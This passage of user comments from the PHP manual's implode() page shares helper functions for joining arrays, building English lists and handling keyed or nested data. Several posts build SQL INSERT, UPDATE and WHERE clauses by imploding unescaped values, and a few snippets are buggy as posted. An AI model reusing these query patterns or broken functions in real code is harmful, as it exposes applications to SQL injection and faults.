        //        4. 4 Delimeters in between key-value pairs
        function explodeMDA($string, $delimeter) {
            $output = array();
            $pair_delimeter = $delimeter.$delimeter.$delimeter.$delimeter;
            $pairs = explode($pair_delimeter, $string);
            foreach ($pairs as $pair) {
                $keyvalue_delimeter = $delimeter.$delimeter.$delimeter;
                $keyvalue = explode($keyvalue_delimeter, $pair);
                $key_delimeter = $delimeter.$delimeter;
                $keys = explode($key_delimeter, $keyvalue[0]);
                $value = str_replace('/'.$delimeter, $delimeter, $keyvalue[1]);
                $keys[0] = str_replace('/'.$delimeter, $delimeter, $keys[0]);
                $pairarray = array($keys[0] => $value);
                for ($counter = 1; $counter < count($keys); $counter++) {
                    $pairarray = array($keys[$counter] => $pairarray);
                }
                $output = array_merge_recursive($output, $pairarray);
            }
            return $output;
        }
?>
webmaster at tubo-world dot de 15-Jul-2008 07:47
Refering to the previous post, here an optimized version:

<?php

function implode_wrapped($before, $after, $glue, $array){
    $output = '';
    foreach($array as $item){
        $output .= $before . $item . $after . $glue;
    }
    return substr($output, 0, -strlen($glue));
}

?>
mr dot bloar at gmail dot com 27-May-2008 07:12
A usefull version of implode() when you need to surround values, for example when you are working with nodes (HTML, XML)

<?php
function myImplode($before, $after, $glue, $array){
    $nbItem = count($array);
    $i = 1;
    foreach($array as $item){
        if($i < $nbItem){
            $output .= "$before$item$after$glue";
        }else $output .= "$before$item$after";
        $i++;
    }
    return $output;
}

$an_array = array('value1','value2');
print myImplode("<a href=\"#\">","</a>"," > ", $an_array);
?>

output : <a href="#">value1</a> > <a href="#">value2</a>
wesleys at opperschaap dot net 01-Apr-2008 04:36
I'm new to PHP, coming from Perl and I already had a problem once when I wanted to join some strings. In perl you can use join to join a list (which can be an array and/or a list of strings and/or hashes), where PHP does this only with arrays. That annoyed me.
I could not find any code which did this, so I created my own join, based on Perl's join function. It is called p_join().

<?php

/* is_assoc_array and is_sequential_array are STOLEN from:
 * http://nl3.php.net/manual/en/function.is-array.php#73505 */
function is_assoc_array($var) {
        return (array_merge($var) !== $var || !is_numeric(implode(array_keys($var))));
}

function is_sequential_array($var) {
        return (array_merge($var) === $var && is_numeric(implode(array_keys($var))));
}

function _p_join_assoc($sep, $hash) {
        $result = "";
        foreach ($hash as $k => $v) {
                $result .= $sep . $k .  $sep . $v ;
        }
        return $result;
}

function _p_join_array($sep, $array) {
        # Turn off notices and return to the old loglevel once we're done.
        # This is because we stringify an array in some cases..
        $old_error_reporting = error_reporting(E_ALL ^ E_NOTICE);
        $result = join($sep, $array);
        error_reporting($old_error_reporting);
        return $result;
}

function p_join() {

        $args = func_get_args();

        if (count($args) > 1) {
                $result     = "";
                $sep = array_shift($args);

                foreach ($args as $val) {
                        if (is_array($val)) {
                                if (is_assoc_array($val)) {
                                        $result .= _p_join_assoc($sep, $val);
                                } else {
                                        $result .= $sep  . _p_join_array($sep, $val);
                                }
                                continue;
                        }
                        $result .= $sep . $val;
                }
                # $result will always start with a $sep, so remove it..
                return substr_replace($result, "" ,0, strlen($sep));
        }

        trigger_error(sprintf("%s requires at least 2 parameters",
          __FUNCTION__), E_USER_WARNING);
        return null;
}

/* And some example code */

print p_join(",", "string", array("Key" => "Value", "Key 2" => "Value 2"),
  array("Hello", array("in", "hello", "world"), "array"), "string 2") . "\n";

/* Watch out, prints de indices when it you supply a mixed array */
print p_join(",", array(1,2,"Green" => "Apple" , array(1,2))) . "\n";

print "Warning.. ";
print p_join(",");
?>
ngkongs at gmail dot com 19-Mar-2008 10:39
implode() can't be used for simplexml's array but foreach() does the thing, make new implode function with foreach() will resolve this problem. use strval() to reset SimpleXMLElement object to a simple string variable.

<?php
function implode2($glue="", $var){
    if ($var){
        foreach ($var as $value){
            $array[]=strval($value);
        }
        return implode($glue, $array);
    }
    else return false;
}
?>
Anonymous 18-Feb-2008 03:41
So I looked through all the problem solutions  posted here, and combined them into one nice recursive function.

<?php

function implode_md( $glue, $array, $key = NULL, $list = NULL )
{
    if( !is_array( $array ) )
        return $array;
    if( !sizeof( $array ) )
        return "";
    if( !is_null( $key ) )
    {
        if( strpos( $key, "." ) )
        {
            $keys = array_reverse( explode( ".", $key ) );
            $currentKey = array_pop( $keys );
            if( sizeof( $keys ) ) $keys = implode( ".", $keys );
            else $keys = implode( "", $keys );
        }
        else
        {
            $currentKey = $key;
            $keys = NULL;
        }
        if( array_key_exists( $currentKey, $array ) )
            return implode_md( $glue, $array[$currentKey], $keys, $list );
        else
            return "";
    }
    if( !empty( $list ) )
    {
        $last = array_pop( $array );
        if( count( $array ) )
            return implode_md( $glue, $array, $key ) . " $list $last";
        else
            return $last;
    }
    $ret = array();
    for( $i = 0; $i < sizeof( $array ); $i++ )
        if( is_array( $array[$i] ) ) $ret[] = implode_md( $glue, $array[$i], $key, $list );
        else $ret[] = $array[$i];
    return implode( $glue, $ret );
}

?>
jimbob 12-Jan-2008 08:00
My take on a simple english list function - it's similar to what's already here, but calls count less

function x_implode_eng_list($array, $glue=', ', $final=' and '){
    //takes an array and outputs an English style list
    //perform the count once
    $count = count($array);
    //make sure it's an array and has content
    if((!is_array($array)) || ($count == 0)) {
        return '';
    } else {
        //pop off the end regardless of length
        $end = array_pop($array);
        //if there's more than one, implode the remainder using glue and append $end
        if($count>1){
            return implode($glue, $array) . $final . $end;
        } else {
            //only one value, return the popped end element
            return $end;
        }
    }
}
$names[] = 'bob';
$names[] = 'john';
$names[] = 'lucy';
echo x_implode_eng_list($names); //will output bob, john and lucy

echo x_implode_eng_list($names, ', ', ' or '); //will output bob, john or lucy
datacompboy at call2ru dot com 09-Nov-2007 11:50
suppose we have array $content with total size of 10Mb of text.

then,
  $content = join($content);
will run about 23 sec (on my machine -- athlon xp 2600+, 1.5 Gb ram)

and
  file_put_contents("tempfile", $content);
  $content = file_get_contents("tempfile");
will run for 0.12 sec (same machine).

so, think carefully about speed.
1413 at blargh dot com 10-Oct-2007 03:42
Below is the function for making an English-style list from an array, seems to be simpler than some of the other examples I've seen.

<?php
function ImplodeProper($arr, $lastConnector = 'and')
{
  if( !is_array($arr) or count($arr) == 0) return '';
  $last = array_pop($arr);
  if(count($arr))
    return implode(', ',$arr).", $lastConnector $last";
  else
    return $last;
}
?>

Examples:
<?
   print ImplodeProper(array()).'<br>';
   print ImplodeProper(array('foo')).'<br>';
   print ImplodeProper(array('foo','bar')).'<br>';
   print ImplodeProper(array('for','bar','bleh')).'<br>';
?>

Yields:

foo
foo, and bar
for, bar, and bleh
sinatosk at gmail dot com 07-Oct-2007 05:42
This code implodes same as the PHP built in except it allows you to do multi dimension arrays ( similar to a function below but works dynamic :p.

<?php

function implode_md($glue, $array, $array_path='')
{
    if ( !empty($array_path) )
    {
        $array_path = explode('.', $array_path);

        if ( ( $array_path_sizeof = sizeof($array_path) ) < 1 )
        {
            return implode($glue, $array);
        }
    }
    else
    {
        return implode($glue, $array);
    }

    $str = '';

    $array_sizeof = sizeof($array) - 1;

    for ( $i = 0; $i < $array_sizeof; $i++ )
    {
        $value = $array[ $i ];

        for ( $j = 0; $j < $array_path_sizeof; $j++ )
        {
            $value =& $value[ $array_path[ $j ] ];
        }

        $str .= $value . $glue;
    }

    $value = $array[ $array_sizeof ];

    for ( $j = 0; $j < $array_path_sizeof; $j++ )
    {
        $value =& $value[ $array_path[ $j ] ];
    }

    $str .= $value;

    return $str;
}

?>

And heres an example on how to use this

<?php

$arr = array();
$arr[]['data']['id'] = 'a';
$arr[]['data']['id'] = 'b';
$arr[]['data']['id'] = 'c';
$arr[]['data']['id'] = 'd';
$arr[]['data']['id'] = 'e';
$arr[]['data']['id'] = 'f';
$arr[]['data']['id'] = 'g';

echo implode_md(',', $arr, 'data.id');

?>

The output of this code should be

'a,b,c,d,e,f,g'

When you want to work with more dimensions... say for example you have an array that is like this

<?php

$arr=array();
$arr[0]['game']['pc']['fps']['idsoftware'] = 'Quake';
$arr[1]['game']['pc']['fps']['idsoftware'] = 'Quake II';
$arr[2]['game']['pc']['fps']['idsoftware'] = 'Quake III Arena';

?>

on the third parameter... as a string you simply type in

<?php

echo implode_md(', ', $arr, 'game.pc.fps.idsoftware');

?>

and the output should be

'Quake, Quake II, Quake III Arena'

Enjoy ;)
thomas at tgohome dot com 09-Jul-2007 01:05
This is my quick function to create a list, English style, but will accept any glue, so you could use 'or', or even 'or though, it could be', etcetera. It should also support PHP 4, although I haven't tested it; it doesn't use the PHP 5 negative substr() trick.

<?php

/**
 * Quick script to join items in an array, English
 * style; using the "one, two and three" style.
 *
 * Copyright 2007 Thomas O. Feel free to redistribute
 * so long as this copyright remains.
 */

function implode_ea($glue_punct, $glue_word, $array) {
    // Implode the entire array
    $result = implode($glue_punct, $array);

    // Check the length of the array
    if(count($array) > 1) {
        // Calculate the amount needed to trim
        $trimamount = strlen($array[count($array) - 1]) + strlen($glue_punct);

        // Trim the imploded string
        $result = substr($result, 0, strlen($result) - $trimamount); // PHP 4 compatible
        $result = "$result $glue_word " . $array[count($array) - 1];

        // Return the result
        return $result;
    } else {
        // In this case, the array cannot be splitted by a
        // word or punctuation, because it is too small.
        return $result;
    }
}

echo implode_ea(", ", "and", array("one", "two", "three"));
?>

(implode_ea stands for 'Implode, English And style')

Hope this helps,
Tom
peter dot goodman at gmail dot com 04-Jul-2007 10:36
I came up with this nifty function to implode an Iterator or class that implements IteratorAggregate:

function implode_iterator($sep = '', $it) {
    $a = array();

    if(!$it instanceof Traversable) {
        throw new UnexpectedValueException('$it must implement Traversable.');
    }

    if($it instanceof IteratorAggregate) {
        $a = iterator_to_array($it, FALSE);
    } else if($it instanceof Iterator) {
        foreach($it as $val) {
            $a[] = $val;
        }
    }

    return implode($sep, $a);
}
Dennis Day 02-Jul-2007 02:39
I have resolved an issue in SquirrelMail.  The problem seemed to be with the implode command.  Apparently you do not want to use this function with a large array as SquirellMail attempted to do.  This only was an issue with some of the email attachments larger that 2MB.

In /src/move_messages.php, replace the line line that says

$body = implode('', $body_a);

With :

// Dennis Day's custom code
                $body = "";
                foreach($body_a as $body_a_key=>$body_a_value){
                                $body .= $body_a_value;
                }
// End Dennis Day's custom code

// Original Bad Code
//              $body = implode('', $body_a);
TheMadBomberWhatBombsAtMidnight 14-Jun-2007 08:46
in response to Brian, building a POST/GET string from an assoc array is easily done with the builtin http_build_query...as the example from its doc page shows:

<?php
$data = array('foo'=>'bar',
              'baz'=>'boom',
              'cow'=>'milk',
              'php'=>'hypertext processor');

echo http_build_query($data); // foo=bar&baz=boom&cow=milk&php=hypertext+processor
?>

of course, the builtin function also urlencodes the string it returns, which Brian's function did not.
darwinkid at gmail dot com 20-Mar-2007 12:09
this is a little function i made to implode an array based on key. its main purpose is to implode elements within
a multi-dimensional array. its slightly different than some of the other examples because it makes use of some
PHP SPL features. if your not using PHP5, this definitely won't work for you.

let me know what you think!

<?php
function implode_by_key($glue, $keyname, $pieces)
{

    // create a new recursive iterator to get array items
    $it = new RecursiveIteratorIterator(new RecursiveArrayIterator($pieces));

    $arr = array();

    foreach($it AS $element) {

        if ($it->key() == $keyname) {

            $arr[] = $it->current();

        }

    }

    return implode($glue, $arr);

}

// here is an example

$array = array(
            array('somekey' => 'somevalue'),
            array(
                array('key2' => 'anoter value'),
                array('key2' => 'another sub value'),
                array(
                    array('key3' => 'asdlkfs jdafajdshf aoufiahsdlkfjsadf'),
                    array(
                        array('key4' => 'this is key 4 - 1'),
                        array('key4' => 'this is key 4 - 2'),
                        array('key4' => 'this is key 4 - 3'),
                        array(
                            array('key5' => 'asdfkajsdflkasjdfklajshfkljasfhasdfasdf'),
                            array('key5' => 'asdfkajsdflkasjdfklajshfkljasfhasdfasdf'),
                        )
                    )
                )

            )
        );

echo implode_by_key('<br/>', 'key4', $array);
?>

This outputs:

this is key 4 - 1
this is key 4 - 2
this is key 4 - 3
Hayley 19-Mar-2007 02:52
And adding one more case to drewish at katherinehouse dot com's code to deal with the two-element case "a and b":

<?php
case 2:
    return reset($array).' and '.end($array);
?>

Of course, then one can start considering Oxford rules again, and maybe testing that the argument really is an array....

<?php
function english_list($array, $useOxfordComma=false)
{
    if(!is_array($array))
        return '';
    switch(count($array))
    {
    case 0:
        return '';
    case 1:
        // This may not be a normal numerically-indexed array.
        return reset($array);
    case 2:
        return reset($array).' and '.end($array);
    default:
        $last = array_pop($array);
        return implode(', ', $array).($useOxfordComma?',':'').' and '.$last;
    }
}
?>
ahigerd at stratitec dot com 04-Jan-2007 06:43
Note that PHP uses copy-on-write so passing parameters (even array parameters) by reference gains you no performance benefit, and in fact in some cases can HURT performance.

For example:

php > $array = array('a','s','d','f');
php > $start = microtime(true); for($i=0; $i<1000000; $i++) byref($array); echo microtime(true)-$start;
2.40807890892
php > $start = microtime(true); for($i=0; $i<1000000; $i++) byval($array); echo microtime(true)-$start;
1.40822386742
bishop 23-Nov-2006 06:33
The english_list() implementation of davidpk212 at gmail dot com, Andy Morris, and tshort at cisco dot com does not handle the case of a two-element array with Oxford comma.  Example:

<?php
english_list(array ('a', 'b'), true) // == 'a, and b'
// should be 'a and b'
?>

Here's another implementation that addresses this issue, uses pass-by-reference without modifying the array, and illustrates yet another approach to solving the problem:

<?php
function english_list(&$array, $useOxfordComma = false) {
    $count = (is_array($array) ? count($array) : 0);
    if (3 <= $count) {
        $last = end($array);
        $list = prev($array) . ($useOxfordComma ? ', and ' : ' and ') . $last;
        while ($v = prev($array)) {
            $list = $v . ', ' . $list;
        }
    } else if (2 == $count) {
        $last = end($array);
        $list = prev($array) . ' and ' . $last;
    } else if (1 == $count) {
        $list = end($array);
    } else {
        return '';
    }

    reset($array);
    return $list;
}
?>

Run times for this version are comparable to the run times for heir earlier posted versions.
richard at happymango dot me dot uk 23-Nov-2006 04:43
This is a simple function that is the same as implode except it allows you to specify two glue parameters instead of one so an imploded array would output "this, this, this and this" rather than "this, this, this, this, this".

This is useful if you want to implode arrays into a string to echo as part of a sentence.

It uses the second glue between the last two items and the first glue between all others. It will use the second glue if there are only two items to implode so it would output "this and this".

<?php

function implode2($glue1, $glue2, $array)
{
    return ((sizeof($array) > 2)? implode($glue1, array_slice($array, 0, -2)).$glue1 : "").implode($glue2, array_slice($array, -2));
}

//example below

$array = array("Monday", "Tuesday");
echo "1: ".implode2(', ', ' and ', $array)."<br />";

$array = array("Mon", "Tue", "Wed", "Thu", "Fri");
echo "2: ".implode2(', ', ' &amp; ', $array)."<br />";

$array = array( 1, 2, 3, 4, 10);
echo "3: ".implode2(' + ', ' = ', $array)."<br />";

?>

This outputs

1: Monday and Tuesday
2: Mon, Tue, Wed, Thu & Fri
3: 1 + 2 + 3 + 4 = 10
Demonisch 05-Oct-2006 02:11
Very simple function for imploding a certain column in a 2D array. Useful if you have fetched records from a database in an associative array and want to store all the values in a certain column as a string, for use with JavaScript or passing values from page to page.

$sep = the separator, such as " ", "," or "&amp;"
$array = the 2D associative array
$key = the column key, such as "id"

Feel free to add error protection

function implodeArray2D ($sep, $array, $key)
{

    $num = count($array);
    $str = "";

    for ($i = 0; $i < $num; $i++)
    {

        if ($i)
        {
            $str .= $sep;
        }

        $str .= $array[$i][$key];

    }

    return $str;

}
triptripon at gmail dot com 05-Sep-2006 02:18
Here's my 2 matching (implode|explode)_with_key functions.
Notice, the inglue, outglue cannot appear within the keys\values.

function implode_with_key($assoc, $inglue = '>', $outglue = ',')
    {
        $return = '';
        foreach ($assoc as $tk => $tv)
        {
            $return .= $outglue . $tk . $inglue . $tv;
        }
        return substr($return,strlen($outglue));
    }

    function explode_with_key($str, $inglue = ">", $outglue = ',')
    {
        $hash = array();
        foreach (explode($outglue, $str) as $pair)
        {
            $k2v = explode($inglue, $pair);
            $hash[$k2v[0]] = $k2v[1];
        }
        return $hash;
    }

-- Tomer Levinboim
worldwideweb dot C-Kling dot de 12-Aug-2006 12:15
A Script for imploding a multideimensional Array. You give an array of separators in the first argument, and a (multidimensional) array in the second. The script will return the imploded array.

<?php
function multimplode($spacer,$array)
    {
    if (!is_array($array))
        {
        return($array);
        }
    if (empty($spacer))
        {
        return(multimplode(array(""),$array));
        }
    else
        {
        $trenn=array_shift($spacer);
        while (list($key,$val) = each($array))
            {
            if (is_array($val))
                {
                $array[$key]=multimplode($spacer,$val);
                }
            }
        $array=implode($trenn,$array);
        return($array);
        }
    }
?>
adnan at barakatdesigns dot net 23-May-2006 09:17
An easier way of achieving the same result as implode_with_keys() - and quicker execution time:

<?
/* NOTE: $glue is not used if $is_query is true */
function implode_with_keys($array, $glue, $is_query = false) {
    if($is_query == true) {
        return str_replace(array('[', ']', '&'), array('%5B', '%5D', '&amp;'), http_build_query($array));

    } else {
        return urldecode(str_replace("&", $glue, http_build_query($array)));

    }

}

echo implode_with_keys(array('a[1]' => 'some text', 'a[2]' => 'even more text'), false, true);
/* Will output 'a%5B1%5D=some+text&amp;a%5B2%5D=even+more+text' */
/* This won't break html validation */

echo implode_with_keys(array('a[1]' => 'foo bar', 'b' => 'more text'), '|');
/* Will output 'a[1]=foo bar|b=more text' */
?>
dabduster at gmail dot com 03-Jan-2006 08:39
an implementation of adrian at foeder dot de implode_with_keys function for input and update sql statement.

function implode_param($glue, $array, $valwrap='', $mode = 0)
   {
    /*
    if mode = 0 output is key and values
    if mode = 1 output only keys
    if mode = 2 output only values
    */

    switch ($mode){
        case 1:
               foreach($array AS $key => $value) {
                   $ret[] = $valwrap.$key.$valwrap;
               }
        break;

        case 2:
               foreach($array AS $key => $value) {
                   $ret[] = $valwrap.$value.$valwrap;
               }
        break;

        default:
        case 0:
               foreach($array AS $key => $value) {
                   $ret[] = $key."=".$valwrap.$value.$valwrap;
               }
        break;

    }

    return implode($glue, $ret);
}
adrian at foeder dot de 31-Oct-2005 04:53
...and a mysql-update-statement-compatible implementation of implode_with_keys:

<?php
function implode_with_keys($glue, $array, $valwrap='')
    {
        foreach($array AS $key => $value) {
            $ret[] = $key."=".$valwrap.$value.$valwrap;
        }
        return implode($glue, $ret);
    }
?>

so implode_with_keys(", ", $array, "'") will output:

key1='value1', key2='value2'

and so on. Useful for UPDATE table SET key1='value1', key2='value2'
Peter Hopfgartner 27-Sep-2005 07:26
Correctly initializing all variables, this would become:

function implode_with_key($assoc, $inglue = '=', $outglue = '&'){
    $return = '';
    foreach ($assoc as $tk => $tv) {
        $return = ($return != '' ? $return . $outglue : '') .
            $tk . $inglue . $tv;
    }
    return $return;
}

Note, the return value is also well defined if $assoc is empty.

Regards
php at josh dot jeppsons dot org 09-Sep-2005 09:22
Another variation on implode_with_key:

<?php
  function implode_with_key($assoc, $inglue = '=', $outglue = '&')
    foreach ($assoc as $tk => $tv) {
      $return = (isset($return) ? $return . $outglue : '') . $tk . $inglue . $tv;
    }
    return $return;
  }
?>
pr10n at spymac dot com 29-Aug-2005 09:46
A little tweak on info at urbits dot com's suggestion just incase someone changes their value of $outglue:

<?php
function implode_with_key($assoc, $inglue = '=', $outglue = '&')
{
   $return = null;
   foreach ($assoc as $tk => $tv) $return .= $outglue.$tk.$inglue.$tv;
   return substr($return,strlen($outglue));
}
?>
info at urbits dot com 19-Aug-2005 06:06
I liked memandeemail's (27-Apr-2005) neat code for imploding an associative array. I have done a mod so that, by default, it returns a url query string.

<?php
function implode_with_key($assoc, $inglue = '=', $outglue = '&')
{
   $return = null;
   foreach ($assoc as $tk => $tv) $return .= $outglue.$tk.$inglue.$tv;
   return substr($return,1);
}
?>

Example:
<?php
$assoc_array = array("a" => "foo", "b" => "bar", "c" => "foobar");
echo (implode_with_key($assoc_array);
?>

ouput: a=foo&b=bar&c=foobar

usage: After altering the $HTTP_GET_VARS values, I pass $HTTP_GET_VARS to the function to easily build variation urls for links and header redirects.

note: This function doesn't encode the url string or check for empty variables.
cristianDOTzuddas [AT] gmailDOTcom 07-Jul-2005 12:22
...and another variation of "implode_assoc" function. Just added the boolean parameter $urlencoded; if TRUE returns the array value in URL encod format. If the parameter is not given it behaves like the original function.

<?
function implode_assoc($inner_glue, $outer_glue, $array, $skip_empty=false, $urlencoded=false) {
    $output = array();
    foreach($array as $key=>$item) {
        if (!$skip_empty || isset($item)) {
            if ($urlencoded)
                $output[] = $key.$inner_glue.urlencode($item);
            else
                $output[] = $key.$inner_glue.$item;
        }
    }

    return implode($outer_glue, $output);
}
?>
sam dot bledsoe at nosp at nn dot gmail dot com 31-May-2005 08:57
The function below recursively outputs an array in a format condusive to parsing it in php or another scripting language.  It does NOT output the name of the original array, for that see note 1.  It handles all the cases I could think of elegantly.  Comments and criticisms are welcome.

For an array constructed with:

$arr = array("foo" => array('bar' => array(0 => "value 0", 1 => "value 1")), "foo two" => array(0 => array("bar" => "value2")));

The line below:

echo implode_parseable("=", ";<br>$", $arr, "$", ";");

Will produce:

$foo["bar"][0]="value 0";
$foo["bar"][1]="value 1";
$foo_two[0]["bar"]="value2";

NOTES:
1)  If the leading identifier on a line is a number, the output will most likely be unusable since variable names cannot begin with numbers.  You can get around this by doing something like:
$arr = array('arr' => $arr);
This will output the array as it actually is (because the key is the same name as the array) instead of just its fields.
2)  Since spaces are not allowed in variable names, they are replaced in lines' leading identifiers by the $space_replace_char parameter, '_' by default.

Hopefully someone will find this useful, if so drop me a line.  Credit and thanks go out to the people who posted their code on this manual page, especially davidpk212 at gmail dot com and phpWalter at torres dot ws.

function implode_parseable($inner_glue = "=", $outer_glue = "\n", $array = null, $prefix = "", $suffix = "", $space_replace_char = '_', $skip_empty = false, $current_loc = "", $recursion_level = 0){
  return $prefix . implode_parseable_r($inner_glue, $outer_glue, $array, $space_replace_char, $skip_empty, $current_loc, $recursion_level) . $suffix;
}

function implode_parseable_r($inner_glue = "=", $outer_glue = "\n", $array = null, $space_replace_char = '_', $skip_empty = false, $current_loc = "", $recursion_level = 0)
{
  if(is_array($array)){
    $output = array();
    foreach( $array as $key => $item ){
      if ( is_array ($item) ){

        //don't quote numeric indicies
        if(is_string($key))
          $quoted_key = "\"" . $key . "\"";
        else
          $quoted_key = $key;

        // This is value is an array, go and do it again!
        $level = $recursion_level + 1;
        if($recursion_level == 0){
          // can't have spaces in a variable name!
          $current_loc .= str_replace(' ', $space_replace_char, $key);
          $output[] = implode_parseable_r ($inner_glue, $outer_glue, $item,  '_', $skip_empty, $current_loc, $level);
          //start the position tracker over after every run from level 0
          $current_loc = '';
        }else{
          $current_loc .= "[" . $quoted_key . "]";
          $output[] = implode_parseable_r ($inner_glue, $outer_glue, $item,  '_', $skip_empty, $current_loc, $level);
          //remove the last index from the position tracker string after using it
          $current_loc = ereg_replace('\[[^]]*\]$', '', $current_loc);
        }

      }
      else{
        //  don't quote or []ify the base variable name,
        //  but do for all else as appropriate
        if($recursion_level != 0){
            if(is_string($key))
              $key = "\"" . $key . "\"";
            $key = "[" . $key . "]";
        }
//        echo "<br>";
//        var_dump($item);
//        echo "<br>";

        $skip_this = false;
        if($skip_empty && (!isset($item) || $item == NULL || $item == '')) $skip_this = true;

        //quote the item (which is the value of the array index) if it is a string
        if(is_string($item)) $item = "\"" . $item . "\"";

        if(!$skip_this) $output[] = $current_loc . $key . $inner_glue . $item;
      }
    }
    return implode($outer_glue, $output);
  }else{
    return $array;
  }
}
Klába 31-May-2005 05:42
in case of value $item==0 but is set is necessary use function isset()

function implode_assoc($inner_glue,$outer_glue,$array,$skip_empty=false){
 $output=array();
 foreach($array as $key=>$item)
  if(!$skip_empty || isset($item)){$output[]=$key.$inner_glue.$item;}
 return implode($outer_glue,$output);
}
killroy at g m a i l dot c o m 16-May-2005 01:29
Here is another variation on Chris' function. I added a $skip_empty parameter. if it's set to TRUE the result string will not contain keys whose values are empty. Great for building query_strings. If the parameter is not given it behaves like the original function:

$a='1';
$b='';
$c='3';

INPUT: implode_assoc('=','&',array('a'=>$a,'b'=>$b,'c'=>$c),true);
OUTPUT: a=1&c=3

INPUT: implode_assoc('=','&',array('a'=>$a,'b'=>$b,'c'=>$c));
OUTPUT: a=1&b=&c=3

function implode_assoc($inner_glue,$outer_glue,$array,$skip_empty=false){
 $output=array();
 foreach($array as $key=>$item)
  if(!$skip_empty || $item){$output[]=$key.$inner_glue.$item;}
 return implode($outer_glue,$output);
}
tshort at cisco dot com 29-Apr-2005 07:20
Correction: I meant "passed by value", not "pass by reference". My mistake. Passing by reference would speed up any of these functions by avoiding the copy necessary for "by value.

Other solutions have problems with non-arrays as well. But it demonstrates that there are many ways to solve this problem. Adding checks for non-arrays and short arrays makes the solution less elegant, but safer. Other solutions should have included similar protections.

function english_list($array, $oxfordComma=0)
{
  if (!is_array($array)) return $array;
  if (count($array) <= 1) return join(", ", $array);
  $last = array_pop($array);
  return join(", ", $array) . ($oxfordComma ? "," : "") . " and " . $last;
}
Andy Morris 28-Apr-2005 05:27
It's always dangerous to give sweeping statements like "this will always work!". Your solution is much more elegant than mine, but perhaps it's a little too elegant for its own good! Try giving it an array with zero or one elements in it for example. You could say that folks shouldn't call it in that case, but you know folks... they like pushing the boundaries. :-)

Perhaps you meant to say that the array can be altered inside the function because it is passed "by value" rather than "by reference", or is that just a mixture of terminology from my C++ upbringing? Passing by reference would imply that you could alter the array inside the function and have that alter its value outside. Passing by value implies that any changes inside the function affect the local function copy only. In PHP, the latter is clearly the case, unless a variable is explicitly declared as global.

OK, that's my 2c.
tshort at cisco dot com 28-Apr-2005 01:54
/*
  english_list()
This one works with anything, since the array is passed by reference, modifying it in the function via pop has no effect on the array outside the function. But it can't be done on one line, because the array_pop() must occur before the join().
*/

function english_list($array, $oxfordComma=0)
{
  $last = array_pop($array);
  return join(", ", $array) . ($oxfordComma ? "," : "") . " and " . $last;
}
Andy Morris 28-Apr-2005 10:19
Similar to a previous note, but this works for any length array, plus also works for arrays with key strings instead of integer keys! I know it's not strictly an implode() example, but it concerns what you might be considering using implode() to help you to do achieve...

<?php
// Return array as a comma separated list; final two elements separated
// by 'and' with an optional "Oxford" comma preceding the 'and'.
function english_list($array, $oxfordComma=0)
{
  $optionalComma = ( $oxfordComma ) ? "," : "";
  $str = "";
  $size = count( $array );
  $i = 0;
  foreach ( $array as $item ) {
    $str .= $item;
    $i++;
    if ( $i < $size - 1) $str .= ", ";
    elseif ( $i == $size - 1) $str .= $optionalComma." and ";
  }
  return $str;
}

// test the comma separated list function
echo english_list( array(), 1 )."<br>";
echo english_list( array("foo"), 1 )."<br>";
echo english_list( array("foo", "bar"), 0 )."<br>";
echo english_list( array("a" => "foo", "b" => "bar", "c" => "foobar"), 1 )."<br>";
echo english_list( array("foo", "bar", "foobar", "barfoo"), 0 )."<br>";
?>
memandeemail at gmail dot com 27-Apr-2005 06:06
/**
     * Like implode but with keys
     *
     * @param string[optional] $glue
     * @param array $pieces
     * @param string[optional] $hifen
     * @return string
     */
    function implode_with_key($glue = null, $pieces, $hifen = ',') {
        $return = null;
        foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
        return substr($return,1);
    }
davidpk212 at gmail dot com 14-Apr-2005 08:36
I made this function to create an english-readable list from an array.

<?php
function english_list($array, $oxfordcomma=1) {
  $count = count($array)-1;
  $last = $array[$count];
  unset($array[$count]);
  $str = join(", ", $array);
  if ($oxfordcomma) {
    $str .= ",";
  }
  $str .= " and $last";

  return $str;
}
?>

The optional parameter "oxfordcomma" indicates whether or not to use the Oxford comma (a comma before the "and").

Example:

<?php
print english_list(array("foo", "bar", "foobar", "barfoo"));
?>
Would produce:

foo, bar, foobar, and barfoo
01-Apr-2005 06:07
Here is another varriation on the below code. This is useful if you are trying to store data as a string to be returned to an array later.  It allows unlimited nested arrays to be both stored and extracted, but does not print out as pretty.

function implode_assoc_r2($inner_glue = "=", $outer_glue = "\n", $recusion_level = 0, $array = null)
{
   $output = array();

   foreach( $array as $key => $item )
       if ( is_array ($item) )
       {
           // This is value is an array, go and do it again!
           $level = $recusion_level + 1;
           $output[] = $key . $inner_glue . $recusion_level . $inner_glue . implode_assoc_r ($inner_glue, $outer_glue, $level, $item, $keepOuterKey);
       }
       else
           $output[] = $key . $inner_glue . $recusion_level . $inner_glue . $item;

   return implode($outer_glue . $recusion_level . $outer_glue, $output);
}

function explode_assoc_r2($inner_glue = "=", $outer_glue = "\n", $recusion_level = 0, $string = null)
{
       $output=array();
       $array=explode($outer_glue.$recusion_level.$outer_glue, $string);

       foreach ($array as $value)
       {
               $row=explode($inner_glue.$recusion_level.$inner_glue,$value);
               $output[$row[0]]=$row[1];
               $level = $recusion_level + 1;
               if(strpos($output[$row[0]],$inner_glue.$level.$inner_glue))
                       $output[$row[0]] = explode_with_keys_a($inner_glue,$outer_glue,$level,$output[$row[0]]);
       }

       return $output;
}
php.net {at} nr78 {dot} net 30-Mar-2005 06:50
Also quite handy in INSERT statements:

<?php

   // array containing data
   $array = array(
      "name" => "John",
      "surname" => "Doe",
      "email" => "j.doe@intelligence.gov"
   );

   // build query...
   $sql  = "INSERT INTO table";

   // implode keys of $array...
   $sql .= " (`".implode("`, `", array_keys($array))."`)";

   // implode values of $array...
   $sql .= " VALUES ('".implode("', '", $array)."') ";

   // execute query...
   $result = mysql_query($sql) or die(mysql_error());

?>
stefan 03-Mar-2005 09:47
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>
Geoff Eby 03-Mar-2005 08:29
A handy use of implode in a MySQL query

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(" OR user_id=", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id=$id_nums";

// $sqlquery becomes "Select name,email,phone from usertable where user_id=1 OR user_id=6 OR user_id=12 OR user_id=18 OR user_id=24"
?>
phpWalter at torres dot ws 14-Sep-2004 11:45
Chris Ross (17-Aug-2004 11:18) gave us a great function 'implode_assoc'.

